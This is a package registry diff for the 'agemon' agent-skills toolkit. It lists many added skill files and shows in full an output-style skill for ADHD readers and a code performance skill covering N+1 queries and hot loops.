agemon 0.1.0 → 6.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +983 -30
- package/assets/skills/architecture/agemon-architecture/LICENSE +21 -0
- package/assets/skills/architecture/agemon-architecture/NOTICE.md +9 -0
- package/assets/skills/architecture/agemon-architecture/SKILL.md +275 -0
- package/assets/skills/code-quality/agemon-clean-code/LICENSE +21 -0
- package/assets/skills/code-quality/agemon-clean-code/NOTICE.md +9 -0
- package/assets/skills/code-quality/agemon-clean-code/SKILL.md +78 -0
- package/assets/skills/code-quality/agemon-house-rules/SKILL.md +103 -0
- package/assets/skills/commit/agemon-commit/SKILL.md +87 -0
- package/assets/skills/design/agemon-design/LICENSE +21 -0
- package/assets/skills/design/agemon-design/NOTICE.md +43 -0
- package/assets/skills/design/agemon-design/SKILL.md +128 -0
- package/assets/skills/design/agemon-design/references/accessibility.md +182 -0
- package/assets/skills/design/agemon-design/references/actions.md +215 -0
- package/assets/skills/design/agemon-design/references/ai-chat.md +158 -0
- package/assets/skills/design/agemon-design/references/brief.md +190 -0
- package/assets/skills/design/agemon-design/references/color.md +216 -0
- package/assets/skills/design/agemon-design/references/components.md +91 -0
- package/assets/skills/design/agemon-design/references/copy.md +300 -0
- package/assets/skills/design/agemon-design/references/core-rules.md +166 -0
- package/assets/skills/design/agemon-design/references/craft-intent.md +162 -0
- package/assets/skills/design/agemon-design/references/dashboard.md +131 -0
- package/assets/skills/design/agemon-design/references/dataviz.md +197 -0
- package/assets/skills/design/agemon-design/references/finish-bar.md +243 -0
- package/assets/skills/design/agemon-design/references/forms.md +192 -0
- package/assets/skills/design/agemon-design/references/heuristics.md +319 -0
- package/assets/skills/design/agemon-design/references/inspiration.md +287 -0
- package/assets/skills/design/agemon-design/references/layout.md +236 -0
- package/assets/skills/design/agemon-design/references/loops.md +155 -0
- package/assets/skills/design/agemon-design/references/metadata.md +98 -0
- package/assets/skills/design/agemon-design/references/modern-css.md +448 -0
- package/assets/skills/design/agemon-design/references/motion.md +434 -0
- package/assets/skills/design/agemon-design/references/personas.md +206 -0
- package/assets/skills/design/agemon-design/references/preset-dashboard.md +109 -0
- package/assets/skills/design/agemon-design/references/preset-editorial.md +94 -0
- package/assets/skills/design/agemon-design/references/preset-minimal.md +93 -0
- package/assets/skills/design/agemon-design/references/principles-catalog.md +299 -0
- package/assets/skills/design/agemon-design/references/recipe-auth.md +88 -0
- package/assets/skills/design/agemon-design/references/recipe-dashboard.md +130 -0
- package/assets/skills/design/agemon-design/references/recipe-landing.md +120 -0
- package/assets/skills/design/agemon-design/references/responsive.md +168 -0
- package/assets/skills/design/agemon-design/references/review.md +340 -0
- package/assets/skills/design/agemon-design/references/routing.md +143 -0
- package/assets/skills/design/agemon-design/references/sound.md +150 -0
- package/assets/skills/design/agemon-design/references/spec.md +123 -0
- package/assets/skills/design/agemon-design/references/stack.md +522 -0
- package/assets/skills/design/agemon-design/references/stage-assets.md +106 -0
- package/assets/skills/design/agemon-design/references/stage-build.md +46 -0
- package/assets/skills/design/agemon-design/references/stage-critique.md +34 -0
- package/assets/skills/design/agemon-design/references/stage-directions.md +44 -0
- package/assets/skills/design/agemon-design/references/stage-intake.md +34 -0
- package/assets/skills/design/agemon-design/references/stage-verify.md +44 -0
- package/assets/skills/design/agemon-design/references/state-design.md +188 -0
- package/assets/skills/design/agemon-design/references/tells-2026-11.md +32 -0
- package/assets/skills/design/agemon-design/references/themes.md +233 -0
- package/assets/skills/design/agemon-design/references/third-party-licenses.md +323 -0
- package/assets/skills/design/agemon-design/references/tokens.md +350 -0
- package/assets/skills/design/agemon-design/references/typography.md +248 -0
- package/assets/skills/design/agemon-design/scripts/audit-page.js +532 -0
- package/assets/skills/design/agemon-design/scripts/check-source.mjs +358 -0
- package/assets/skills/design/agemon-design/scripts/deal.mjs +231 -0
- package/assets/skills/design/agemon-design/scripts/inventory.mjs +676 -0
- package/assets/skills/essentials/web-design-guidelines/LICENSE +21 -0
- package/assets/skills/essentials/web-design-guidelines/NOTICE.md +14 -0
- package/assets/skills/essentials/web-design-guidelines/SKILL.md +18 -0
- package/assets/skills/essentials/web-design-guidelines/references/guidelines.md +184 -0
- package/assets/skills/essentials/writing-guidelines/LICENSE +21 -0
- package/assets/skills/essentials/writing-guidelines/NOTICE.md +14 -0
- package/assets/skills/essentials/writing-guidelines/SKILL.md +18 -0
- package/assets/skills/essentials/writing-guidelines/references/guidelines.md +250 -0
- package/assets/skills/founder/agemon-founder-board/LICENSE +21 -0
- package/assets/skills/founder/agemon-founder-board/NOTICE.md +11 -0
- package/assets/skills/founder/agemon-founder-board/SKILL.md +111 -0
- package/assets/skills/founder/agemon-founder-board/lenses.md +84 -0
- package/assets/skills/founder/agemon-founder-brand/LICENSE +21 -0
- package/assets/skills/founder/agemon-founder-brand/NOTICE.md +12 -0
- package/assets/skills/founder/agemon-founder-brand/SKILL.md +77 -0
- package/assets/skills/founder/agemon-founder-cfo/LICENSE +21 -0
- package/assets/skills/founder/agemon-founder-cfo/NOTICE.md +12 -0
- package/assets/skills/founder/agemon-founder-cfo/SKILL.md +109 -0
- package/assets/skills/founder/agemon-founder-cfo/example.json +27 -0
- package/assets/skills/founder/agemon-founder-cfo/unit_economics.py +270 -0
- package/assets/skills/founder/agemon-founder-competitors/LICENSE +21 -0
- package/assets/skills/founder/agemon-founder-competitors/NOTICE.md +12 -0
- package/assets/skills/founder/agemon-founder-competitors/SKILL.md +84 -0
- package/assets/skills/founder/agemon-founder-consumer/LICENSE +21 -0
- package/assets/skills/founder/agemon-founder-consumer/NOTICE.md +11 -0
- package/assets/skills/founder/agemon-founder-consumer/SKILL.md +126 -0
- package/assets/skills/founder/agemon-founder-consumer/customer.example.json +34 -0
- package/assets/skills/founder/agemon-founder-consumer/panel.py +424 -0
- package/assets/skills/founder/agemon-founder-consumer/pitch.example.md +3 -0
- package/assets/skills/founder/agemon-founder-launch/LICENSE +21 -0
- package/assets/skills/founder/agemon-founder-launch/NOTICE.md +11 -0
- package/assets/skills/founder/agemon-founder-launch/SKILL.md +65 -0
- package/assets/skills/founder/agemon-founder-marketing/LICENSE +21 -0
- package/assets/skills/founder/agemon-founder-marketing/NOTICE.md +11 -0
- package/assets/skills/founder/agemon-founder-marketing/SKILL.md +80 -0
- package/assets/skills/founder/agemon-founder-offer/LICENSE +21 -0
- package/assets/skills/founder/agemon-founder-offer/NOTICE.md +11 -0
- package/assets/skills/founder/agemon-founder-offer/SKILL.md +75 -0
- package/assets/skills/founder/agemon-founder-ops/LICENSE +21 -0
- package/assets/skills/founder/agemon-founder-ops/NOTICE.md +12 -0
- package/assets/skills/founder/agemon-founder-ops/SKILL.md +77 -0
- package/assets/skills/founder/agemon-founder-plan/LICENSE +21 -0
- package/assets/skills/founder/agemon-founder-plan/NOTICE.md +11 -0
- package/assets/skills/founder/agemon-founder-plan/SKILL.md +88 -0
- package/assets/skills/founder/agemon-founder-plan/compile.py +178 -0
- package/assets/skills/founder/agemon-founder-pricing/LICENSE +21 -0
- package/assets/skills/founder/agemon-founder-pricing/NOTICE.md +12 -0
- package/assets/skills/founder/agemon-founder-pricing/SKILL.md +92 -0
- package/assets/skills/founder/agemon-founder-pricing/van_westendorp.py +172 -0
- package/assets/skills/geo-seo/geo/LICENSE +21 -0
- package/assets/skills/geo-seo/geo/NOTICE.md +18 -0
- package/assets/skills/geo-seo/geo/SKILL.md +145 -0
- package/assets/skills/geo-seo/geo-audit/LICENSE +21 -0
- package/assets/skills/geo-seo/geo-audit/NOTICE.md +17 -0
- package/assets/skills/geo-seo/geo-audit/SKILL.md +371 -0
- package/assets/skills/geo-seo/geo-audit/references/ai-visibility.md +233 -0
- package/assets/skills/geo-seo/geo-audit/references/content.md +329 -0
- package/assets/skills/geo-seo/geo-audit/references/platform-analysis.md +294 -0
- package/assets/skills/geo-seo/geo-audit/references/schema.md +383 -0
- package/assets/skills/geo-seo/geo-audit/references/technical.md +368 -0
- package/assets/skills/geo-seo/geo-brand-mentions/LICENSE +21 -0
- package/assets/skills/geo-seo/geo-brand-mentions/NOTICE.md +15 -0
- package/assets/skills/geo-seo/geo-brand-mentions/SKILL.md +459 -0
- package/assets/skills/geo-seo/geo-citability/LICENSE +21 -0
- package/assets/skills/geo-seo/geo-citability/NOTICE.md +14 -0
- package/assets/skills/geo-seo/geo-citability/SKILL.md +320 -0
- package/assets/skills/geo-seo/geo-content/LICENSE +21 -0
- package/assets/skills/geo-seo/geo-content/NOTICE.md +14 -0
- package/assets/skills/geo-seo/geo-content/SKILL.md +352 -0
- package/assets/skills/geo-seo/geo-crawlers/LICENSE +21 -0
- package/assets/skills/geo-seo/geo-crawlers/NOTICE.md +15 -0
- package/assets/skills/geo-seo/geo-crawlers/SKILL.md +388 -0
- package/assets/skills/geo-seo/geo-llmstxt/LICENSE +21 -0
- package/assets/skills/geo-seo/geo-llmstxt/NOTICE.md +14 -0
- package/assets/skills/geo-seo/geo-llmstxt/SKILL.md +433 -0
- package/assets/skills/geo-seo/geo-platform-optimizer/LICENSE +21 -0
- package/assets/skills/geo-seo/geo-platform-optimizer/NOTICE.md +14 -0
- package/assets/skills/geo-seo/geo-platform-optimizer/SKILL.md +282 -0
- package/assets/skills/geo-seo/geo-report/LICENSE +21 -0
- package/assets/skills/geo-seo/geo-report/NOTICE.md +14 -0
- package/assets/skills/geo-seo/geo-report/SKILL.md +406 -0
- package/assets/skills/geo-seo/geo-report-pdf/LICENSE +21 -0
- package/assets/skills/geo-seo/geo-report-pdf/NOTICE.md +20 -0
- package/assets/skills/geo-seo/geo-report-pdf/SKILL.md +153 -0
- package/assets/skills/geo-seo/geo-report-pdf/templates/geo-report-template.html +548 -0
- package/assets/skills/geo-seo/geo-schema/LICENSE +21 -0
- package/assets/skills/geo-seo/geo-schema/NOTICE.md +16 -0
- package/assets/skills/geo-seo/geo-schema/SKILL.md +396 -0
- package/assets/skills/geo-seo/geo-technical/LICENSE +21 -0
- package/assets/skills/geo-seo/geo-technical/NOTICE.md +15 -0
- package/assets/skills/geo-seo/geo-technical/SKILL.md +566 -0
- package/assets/skills/output-style/agemon-adhd/LICENSE +21 -0
- package/assets/skills/output-style/agemon-adhd/NOTICE.md +13 -0
- package/assets/skills/output-style/agemon-adhd/SKILL.md +138 -0
- package/assets/skills/performance/agemon-performance/NOTICE.md +1 -0
- package/assets/skills/performance/agemon-performance/SKILL.md +76 -0
- package/assets/skills/security/agemon-security/LICENSE +21 -0
- package/assets/skills/security/agemon-security/NOTICE.md +8 -0
- package/assets/skills/security/agemon-security/SKILL.md +356 -0
- package/assets/skills/security/agemon-security-audit/AI-AND-LLM.md +83 -0
- package/assets/skills/security/agemon-security-audit/ATTACK-CLASSES.md +130 -0
- package/assets/skills/security/agemon-security-audit/CLIENT-SIDE.md +83 -0
- package/assets/skills/security/agemon-security-audit/CLOUD-AND-DEPLOYMENT.md +86 -0
- package/assets/skills/security/agemon-security-audit/DATA-ISOLATION-AND-LIFECYCLE.md +84 -0
- package/assets/skills/security/agemon-security-audit/DESKTOP-MOBILE-AND-LOCAL-IPC.md +89 -0
- package/assets/skills/security/agemon-security-audit/HUNTING.md +251 -0
- package/assets/skills/security/agemon-security-audit/LICENSE +21 -0
- package/assets/skills/security/agemon-security-audit/MEMORY-SAFETY-AND-BINARY.md +101 -0
- package/assets/skills/security/agemon-security-audit/NOTICE.md +12 -0
- package/assets/skills/security/agemon-security-audit/PROTOCOLS-RPC-AND-MESSAGING.md +81 -0
- package/assets/skills/security/agemon-security-audit/RECONNAISSANCE.md +156 -0
- package/assets/skills/security/agemon-security-audit/RESOURCE-EXHAUSTION-AND-AVAILABILITY.md +78 -0
- package/assets/skills/security/agemon-security-audit/SKILL.md +192 -0
- package/assets/skills/security/agemon-security-audit/SUPPLY-CHAIN-AND-RELEASE.md +73 -0
- package/assets/skills/security/agemon-security-audit/VALIDATION-AND-REPORTING.md +186 -0
- package/assets/skills/security/agemon-security-audit/WEB-PROTOCOL-AND-AUTH.md +105 -0
- package/assets/skills/security/agemon-security-audit/report-schema.json +461 -0
- package/assets/skills/security/agemon-security-audit/validate-coverage-ledger.cjs +872 -0
- package/assets/skills/security/agemon-security-audit/validate-findings.cjs +773 -0
- package/assets/skills/self-review/agemon-review-intake/LICENSE +21 -0
- package/assets/skills/self-review/agemon-review-intake/NOTICE.md +9 -0
- package/assets/skills/self-review/agemon-review-intake/SKILL.md +205 -0
- package/assets/skills/self-review/agemon-review-request/LICENSE +21 -0
- package/assets/skills/self-review/agemon-review-request/NOTICE.md +9 -0
- package/assets/skills/self-review/agemon-review-request/SKILL.md +104 -0
- package/assets/skills/self-review/agemon-review-request/code-reviewer.md +188 -0
- package/assets/skills/self-review/agemon-root-cause/LICENSE +21 -0
- package/assets/skills/self-review/agemon-root-cause/NOTICE.md +10 -0
- package/assets/skills/self-review/agemon-root-cause/SKILL.md +283 -0
- package/assets/skills/self-review/agemon-root-cause/condition-based-waiting-example.ts +158 -0
- package/assets/skills/self-review/agemon-root-cause/condition-based-waiting.md +115 -0
- package/assets/skills/self-review/agemon-root-cause/defense-in-depth.md +122 -0
- package/assets/skills/self-review/agemon-root-cause/find-polluter.sh +72 -0
- package/assets/skills/self-review/agemon-root-cause/root-cause-tracing.md +169 -0
- package/assets/skills/self-review/agemon-root-cause/test-academic.md +14 -0
- package/assets/skills/self-review/agemon-root-cause/test-pressure-1.md +58 -0
- package/assets/skills/self-review/agemon-root-cause/test-pressure-2.md +68 -0
- package/assets/skills/self-review/agemon-root-cause/test-pressure-3.md +69 -0
- package/assets/skills/self-review/agemon-verify-before-done/LICENSE +21 -0
- package/assets/skills/self-review/agemon-verify-before-done/NOTICE.md +9 -0
- package/assets/skills/self-review/agemon-verify-before-done/SKILL.md +120 -0
- package/assets/skills/team-lead/agemon-plan-rfc/SKILL.md +317 -0
- package/assets/skills/team-lead/prd-generator/SKILL.md +437 -0
- package/assets/skills/team-lead/skill-headofit-audit/SKILL.md +72 -0
- package/assets/skills/team-lead/skill-incident-rca/SKILL.md +66 -0
- package/assets/skills/team-lead/skill-meeting-lifecycle/SKILL.md +63 -0
- package/assets/skills/team-lead/skill-obsidian-vault-sync/SKILL.md +69 -0
- package/assets/skills/team-lead/skill-prd-decomposer/SKILL.md +71 -0
- package/assets/skills/team-lead/skill-sec-check/SKILL.md +70 -0
- package/assets/skills/team-lead/skill-task-extractor/SKILL.md +79 -0
- package/assets/skills/team-lead/skill-tech-spike/SKILL.md +57 -0
- package/assets/skills/team-lead/skill-techlead-reviewer/SKILL.md +81 -0
- package/assets/skills/workflow/agemon-brainstorming/LICENSE +21 -0
- package/assets/skills/workflow/agemon-brainstorming/NOTICE.md +14 -0
- package/assets/skills/workflow/agemon-brainstorming/SKILL.md +287 -0
- package/assets/skills/workflow/agemon-brainstorming/builder-check-prompt.md +23 -0
- package/assets/skills/workflow/agemon-dispatching-parallel-agents/LICENSE +21 -0
- package/assets/skills/workflow/agemon-dispatching-parallel-agents/NOTICE.md +13 -0
- package/assets/skills/workflow/agemon-dispatching-parallel-agents/SKILL.md +167 -0
- package/assets/skills/workflow/agemon-executing-plans/LICENSE +21 -0
- package/assets/skills/workflow/agemon-executing-plans/NOTICE.md +15 -0
- package/assets/skills/workflow/agemon-executing-plans/SKILL.md +322 -0
- package/assets/skills/workflow/agemon-executing-plans/scripts/task-done +55 -0
- package/assets/skills/workflow/agemon-executing-plans/scripts/task-start +32 -0
- package/assets/skills/workflow/agemon-finishing-a-development-branch/LICENSE +21 -0
- package/assets/skills/workflow/agemon-finishing-a-development-branch/NOTICE.md +13 -0
- package/assets/skills/workflow/agemon-finishing-a-development-branch/SKILL.md +225 -0
- package/assets/skills/workflow/agemon-subagent-driven-development/LICENSE +21 -0
- package/assets/skills/workflow/agemon-subagent-driven-development/NOTICE.md +15 -0
- package/assets/skills/workflow/agemon-subagent-driven-development/SKILL.md +339 -0
- package/assets/skills/workflow/agemon-subagent-driven-development/code-reviewer.md +198 -0
- package/assets/skills/workflow/agemon-subagent-driven-development/implementer-prompt.md +154 -0
- package/assets/skills/workflow/agemon-subagent-driven-development/re-review-prompt.md +116 -0
- package/assets/skills/workflow/agemon-subagent-driven-development/references/batching.md +11 -0
- package/assets/skills/workflow/agemon-subagent-driven-development/references/cannot-verify.md +10 -0
- package/assets/skills/workflow/agemon-subagent-driven-development/references/final-review.md +49 -0
- package/assets/skills/workflow/agemon-subagent-driven-development/references/fix-loop.md +77 -0
- package/assets/skills/workflow/agemon-subagent-driven-development/references/handling-reports.md +15 -0
- package/assets/skills/workflow/agemon-subagent-driven-development/references/preflight.md +26 -0
- package/assets/skills/workflow/agemon-subagent-driven-development/references/resuming.md +12 -0
- package/assets/skills/workflow/agemon-subagent-driven-development/references/role-scout.md +18 -0
- package/assets/skills/workflow/agemon-subagent-driven-development/references/role-worker.md +19 -0
- package/assets/skills/workflow/agemon-subagent-driven-development/scripts/review-package +64 -0
- package/assets/skills/workflow/agemon-subagent-driven-development/scripts/sdd-repo +54 -0
- package/assets/skills/workflow/agemon-subagent-driven-development/scripts/sdd-workspace +110 -0
- package/assets/skills/workflow/agemon-subagent-driven-development/scripts/task-brief +108 -0
- package/assets/skills/workflow/agemon-subagent-driven-development/task-reviewer-prompt.md +209 -0
- package/assets/skills/workflow/agemon-test-driven-development/LICENSE +21 -0
- package/assets/skills/workflow/agemon-test-driven-development/NOTICE.md +14 -0
- package/assets/skills/workflow/agemon-test-driven-development/SKILL.md +330 -0
- package/assets/skills/workflow/agemon-test-driven-development/writing-good-tests.md +198 -0
- package/assets/skills/workflow/agemon-using-git-worktrees/LICENSE +21 -0
- package/assets/skills/workflow/agemon-using-git-worktrees/NOTICE.md +13 -0
- package/assets/skills/workflow/agemon-using-git-worktrees/SKILL.md +167 -0
- package/assets/skills/workflow/agemon-writing-plans/LICENSE +21 -0
- package/assets/skills/workflow/agemon-writing-plans/NOTICE.md +13 -0
- package/assets/skills/workflow/agemon-writing-plans/SKILL.md +204 -0
- package/assets/tools/code-review-graph-constraints.txt +1418 -0
- package/assets/tools/package-lock.json +111 -0
- package/assets/tools/package.json +6 -0
- package/dist/chunk-ZZBF3GOV.js +3451 -0
- package/dist/chunk-ZZBF3GOV.js.map +1 -0
- package/dist/fake-subprocess-IV4ML77S.js +636 -0
- package/dist/fake-subprocess-IV4ML77S.js.map +1 -0
- package/dist/index.js +23836 -1945
- package/dist/index.js.map +1 -1
- package/package.json +37 -17
|
@@ -0,0 +1,138 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: agemon-adhd
|
|
3
|
+
description: 'Shape output for a reader with ADHD: lead with the next action, number multi-step work, restate state across turns, suppress tangents, give specific time estimates, make wins visible. Invoke with /agemon-adhd; stays on until "stop adhd mode".'
|
|
4
|
+
disable-model-invocation: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# agemon-adhd
|
|
8
|
+
|
|
9
|
+
The reader has ADHD. Output is not just brief. It is shaped so an ADHD brain can act on it.
|
|
10
|
+
|
|
11
|
+
## Persistence
|
|
12
|
+
|
|
13
|
+
These rules apply to every response for the rest of the session, not only this one. They do not expire after a few turns and they do not lapse when the topic changes. If you are unsure whether they still apply, they do.
|
|
14
|
+
|
|
15
|
+
Turn them off only when the reader says "stop adhd mode" or "normal mode". Confirm in one line, then return to your default style.
|
|
16
|
+
|
|
17
|
+
## What ADHD changes about reading
|
|
18
|
+
|
|
19
|
+
Five facts drive every rule below:
|
|
20
|
+
|
|
21
|
+
1. Working memory is small. Anything not on screen is forgotten. Do not ask the reader to "keep in mind X."
|
|
22
|
+
2. Knowing the answer is not doing the answer. The friction between "got it" and "done it" is where work dies.
|
|
23
|
+
3. Starting is the hardest step. The first action must be obvious, small, and doable now.
|
|
24
|
+
4. Time estimates feel uniform. "A bit of work" and "a few hours" register the same. Vague estimates fail.
|
|
25
|
+
5. Dopamine is scarce. Visible progress matters. Buried wins do not register.
|
|
26
|
+
|
|
27
|
+
## Rules
|
|
28
|
+
|
|
29
|
+
### 1. Lead with the next action
|
|
30
|
+
|
|
31
|
+
The first line is something the reader can do. Not context. Not a plan. The action.
|
|
32
|
+
|
|
33
|
+
Bad: "Let's think about this. Your auth flow has a few moving pieces..."
|
|
34
|
+
Good: "Edit `src/auth.ts:42` to update the token validation."
|
|
35
|
+
|
|
36
|
+
If the answer is a command, path, or snippet, it goes first. Prose comes after, if at all.
|
|
37
|
+
|
|
38
|
+
### 2. Number multi-step tasks
|
|
39
|
+
|
|
40
|
+
If the work takes more than one step, write a numbered list. Each step is one bounded action. No step contains "and then" twice.
|
|
41
|
+
|
|
42
|
+
Use the fewest steps that still work. Cut any step the reader does not need, and fold trivial steps into the one before. A short path finished beats a complete path abandoned.
|
|
43
|
+
|
|
44
|
+
Bad: "First open the file, find the function, swap it out, then run the tests."
|
|
45
|
+
|
|
46
|
+
Good:
|
|
47
|
+
```
|
|
48
|
+
1. Open `src/auth.ts`
|
|
49
|
+
2. Replace `verifyToken` (lines 42 to 58) with the snippet below
|
|
50
|
+
3. Run `npm test -- auth.spec.ts`
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
### 3. End with one concrete next action
|
|
54
|
+
|
|
55
|
+
If anything is left open, name ONE thing the reader can do in under two minutes. Even "open the file" counts.
|
|
56
|
+
|
|
57
|
+
Bad: "Hope that helps. Let me know if you want to dig deeper."
|
|
58
|
+
Good: "Next: run `npm test` and paste the first failing line."
|
|
59
|
+
|
|
60
|
+
### 4. Suppress tangents
|
|
61
|
+
|
|
62
|
+
If a second issue exists, finish the first, then offer the second as a separate question.
|
|
63
|
+
|
|
64
|
+
Bad: "Here's the fix. By the way, your dependency is also stale, and your README is out of date, and..."
|
|
65
|
+
Good: "Here's the fix. Separately: there is also a stale dependency. Want me to handle that next?"
|
|
66
|
+
|
|
67
|
+
A question that comes up mid-work is not a tangent: answer it yourself if you can and fold the result in. If it still needs the reader, surface it once, at the end.
|
|
68
|
+
|
|
69
|
+
### 5. Restate state every turn
|
|
70
|
+
|
|
71
|
+
The reader cannot hold "we are on step 3 of 5" between messages. Restate it.
|
|
72
|
+
|
|
73
|
+
Bad: "Done. Ready for the next part?"
|
|
74
|
+
Good: "Step 3 of 5 done: schema updated. Next: backfill the new column. Run the script?"
|
|
75
|
+
|
|
76
|
+
If the harness has a task or plan tool, use it for multi-step work: one item per step, one in progress at a time. The checklist does the restating; do not also narrate the full plan as prose.
|
|
77
|
+
|
|
78
|
+
### 6. Give specific time estimates
|
|
79
|
+
|
|
80
|
+
Vague estimates fail. Ballpark in concrete units.
|
|
81
|
+
|
|
82
|
+
Bad: "This will take some work."
|
|
83
|
+
Good: "About 15 minutes if tests already cover this. An afternoon if not."
|
|
84
|
+
|
|
85
|
+
### 7. Make completed work visible
|
|
86
|
+
|
|
87
|
+
Show what now works, in concrete terms. Do not bury wins in a recap.
|
|
88
|
+
|
|
89
|
+
Bad: "I've made some changes to the auth flow. Among other things..."
|
|
90
|
+
Good: "Login now works with magic links. Try: `npm run dev`, open `/login`."
|
|
91
|
+
|
|
92
|
+
### 8. Matter-of-fact tone for errors
|
|
93
|
+
|
|
94
|
+
Never use "Uh oh," "Oh no," or "There seems to be a problem." State cause and fix.
|
|
95
|
+
|
|
96
|
+
Bad: "Uh oh, the test is failing. There seems to be an issue..."
|
|
97
|
+
Good: "Test fails at `auth.spec.ts:42`: expected 200, got 401. Cause: missing auth header. Fix: add `Authorization: Bearer ${token}` to the request."
|
|
98
|
+
|
|
99
|
+
### 9. Cap lists to 5 items
|
|
100
|
+
|
|
101
|
+
For long lists in the final response, group related items and rank the most relevant first. Keep the visible working set small: aim for no more than five items per group. When more items are relevant, retain them internally without discarding them. Display them only when the user asks or when they become the next items to address.
|
|
102
|
+
|
|
103
|
+
Never omit relevant items when completeness matters. This rule shapes presentation only; it must not limit analysis, search, tool results, candidate generation, or retained information.
|
|
104
|
+
|
|
105
|
+
### 10. No preamble, no recap, no closing pleasantries
|
|
106
|
+
|
|
107
|
+
Forbidden openers: "Great question," "Let me...", "I'll...", "Sure!", "Looking at your...", "To answer your question..."
|
|
108
|
+
|
|
109
|
+
Forbidden recaps after a completed task: "I've now done X, Y, and Z, which means..."
|
|
110
|
+
|
|
111
|
+
Forbidden closers: "Let me know if you need anything else," "Hope this helps," "Happy to clarify," "Feel free to ask."
|
|
112
|
+
|
|
113
|
+
Start with the answer. End when the answer is done.
|
|
114
|
+
|
|
115
|
+
## When to break the rules
|
|
116
|
+
|
|
117
|
+
Override the defaults when:
|
|
118
|
+
|
|
119
|
+
1. User asks to "explain" or "walk me through." Explain fully. Still no preamble, still no closer, but the body runs as long as the topic needs. Add headers so the reader can skim back.
|
|
120
|
+
2. Destructive action ahead (`rm -rf`, force push, schema migration, dropping a table). Confirm before acting. Safety wins over brevity.
|
|
121
|
+
3. Debug spiral. If the last three turns have been "still broken," stop iterating on code. Name the assumption that might be wrong. Ask one diagnostic question.
|
|
122
|
+
4. Real ambiguity in the request. One short clarifying question beats guessing and rewriting.
|
|
123
|
+
5. A rule fights the task. When a rule would delete the answer itself, the task wins; the shape stays. Example: "what are my options" gets 2 to 4 ranked options with one-line trade-offs, recommendation first, not one path. The options are the answer.
|
|
124
|
+
6. A rule fights the harness. Inside an agent harness, the system prompt outranks this skill: announce a tool call when the harness requires it, do the work instead of asking "want me to," point time estimates at whoever executes the steps. Same principle as 5: the constraint wins, the shape stays.
|
|
125
|
+
|
|
126
|
+
## Pre-send check
|
|
127
|
+
|
|
128
|
+
Before sending, delete:
|
|
129
|
+
|
|
130
|
+
1. The first sentence if it announces what you are about to do.
|
|
131
|
+
2. The last sentence if it asks "anything else?" or recaps what just happened.
|
|
132
|
+
3. Any "by the way" sidebar.
|
|
133
|
+
4. Any hedging adverb adding no information ("perhaps," "might," "could possibly"). Keep a hedge that carries real uncertainty; deleting it manufactures confidence.
|
|
134
|
+
5. Any idiom or figurative phrase ("circle back," "get the ball rolling," "on the same page"). Replace with the literal action.
|
|
135
|
+
|
|
136
|
+
Then verify: if the reader reads only the first line and the last line, do they know (a) what to do next, and (b) what just happened?
|
|
137
|
+
|
|
138
|
+
If yes, send.
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
- Renamed from `performance-by-default` to `agemon-performance` for agemon branding — installed skills should read as agemon's own, not a third-party project name.
|
|
@@ -0,0 +1,76 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: agemon-performance
|
|
3
|
+
description: Use when writing or reviewing any code that runs more than once — loops, queries, API handlers, data pipelines, rendering paths — to keep the least-cost implementation the default rather than an afterthought. Covers algorithmic complexity, N+1 queries, hot-loop discipline, and when NOT to optimize. Complements web-design-guidelines/react-best-practices for front-end-specific performance rules.
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Performance by Default
|
|
7
|
+
|
|
8
|
+
Every implementation choice has a cost. This skill is about making cost a first-class input to the
|
|
9
|
+
implementation decision — not a separate "performance pass" done later, and not premature optimization done
|
|
10
|
+
speculatively. Pick the cheap-by-construction shape the first time; measure before reaching for anything more
|
|
11
|
+
clever.
|
|
12
|
+
|
|
13
|
+
## The Order of Operations
|
|
14
|
+
|
|
15
|
+
1. **Algorithmic complexity first.** A clean O(n log n) beats a hand-tuned O(n²). Before touching
|
|
16
|
+
micro-optimizations, ask: does this scale with input size the way it should? Nested loops over the same
|
|
17
|
+
collection, repeated linear searches where a map/set would do, and re-sorting on every call are the most
|
|
18
|
+
common wastes here.
|
|
19
|
+
2. **Eliminate redundant work second.** Precompute values that don't change per-iteration, cache intermediate
|
|
20
|
+
results within a request/operation, replace repeated lookups with a lookup table built once.
|
|
21
|
+
3. **Micro-optimize last, and only with a measurement in hand.** Don't reach for this tier speculatively —
|
|
22
|
+
it's the one Simplicity First (see the code-quality group) explicitly warns against doing without a reason.
|
|
23
|
+
|
|
24
|
+
## The N+1 Check
|
|
25
|
+
|
|
26
|
+
The single highest-leverage pattern to catch: a loop that issues one query/request/call per item instead of
|
|
27
|
+
one call for all items.
|
|
28
|
+
|
|
29
|
+
```
|
|
30
|
+
# Costly — one round-trip per item
|
|
31
|
+
for order in orders:
|
|
32
|
+
customer = db.get_customer(order.customer_id)
|
|
33
|
+
|
|
34
|
+
# Cheap — one round-trip total
|
|
35
|
+
customer_ids = {order.customer_id for order in orders}
|
|
36
|
+
customers = db.get_customers_by_ids(customer_ids)
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
This applies beyond databases: batch HTTP calls, batch file reads, batch subprocess invocations — anywhere a
|
|
40
|
+
loop body does I/O, ask whether the I/O can move outside the loop.
|
|
41
|
+
|
|
42
|
+
## Hot-Loop Discipline
|
|
43
|
+
|
|
44
|
+
Inside any loop that runs per-item over a large or unbounded collection:
|
|
45
|
+
|
|
46
|
+
- Don't allocate, parse, compile a regex, or open a connection per iteration — hoist it above the loop.
|
|
47
|
+
- Don't recompute a value that's constant across iterations.
|
|
48
|
+
- Prefer streaming/pagination over loading an entire dataset into memory when the dataset size isn't bounded
|
|
49
|
+
by the caller.
|
|
50
|
+
- Batch writes (bulk insert, buffered output) instead of one write per item.
|
|
51
|
+
|
|
52
|
+
## When NOT to Optimize
|
|
53
|
+
|
|
54
|
+
- Code that runs once, or rarely, on small inputs (startup, CLI one-shots, admin scripts) — clarity wins over
|
|
55
|
+
cleverness there. This mirrors Simplicity First: no defensive performance work for a cost that doesn't
|
|
56
|
+
exist.
|
|
57
|
+
- Don't restructure working code around a hypothetical scale the project doesn't have and isn't asking for.
|
|
58
|
+
- If a real performance concern exists but fixing it is outside the current task's scope, name it rather than
|
|
59
|
+
fixing it inline or going silent — the same scope discipline as any other out-of-scope finding.
|
|
60
|
